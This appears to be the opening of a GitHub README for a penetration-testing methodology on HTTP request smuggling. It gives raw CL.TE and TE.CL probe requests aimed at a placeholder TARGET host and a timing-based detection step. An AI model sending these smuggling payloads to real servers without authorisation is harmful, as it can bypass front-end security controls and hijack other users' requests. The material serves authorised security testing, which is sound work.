Documentation
README
HTTP Request Smuggling
Objective
Exploit disagreements between front-end and back-end servers on request boundary parsing (Content-Length vs Transfer-Encoding) to smuggle a second request.
Testing Methodology
Phase 1: Detect Smuggling
CL.TE (front uses Content-Length, back uses Transfer-Encoding):
POST / HTTP/1.1
Host: TARGET
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
TE.CL (front uses Transfer-Encoding, back uses Content-Length):
POST / HTTP/1.1
Host: TARGET
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Phase 2: Timing-Based Detection
Send ambiguous request, measure response time:
- If back-end times out waiting for more data → smuggling may be possible
This is the opening of the README. Read the full README on GitHub.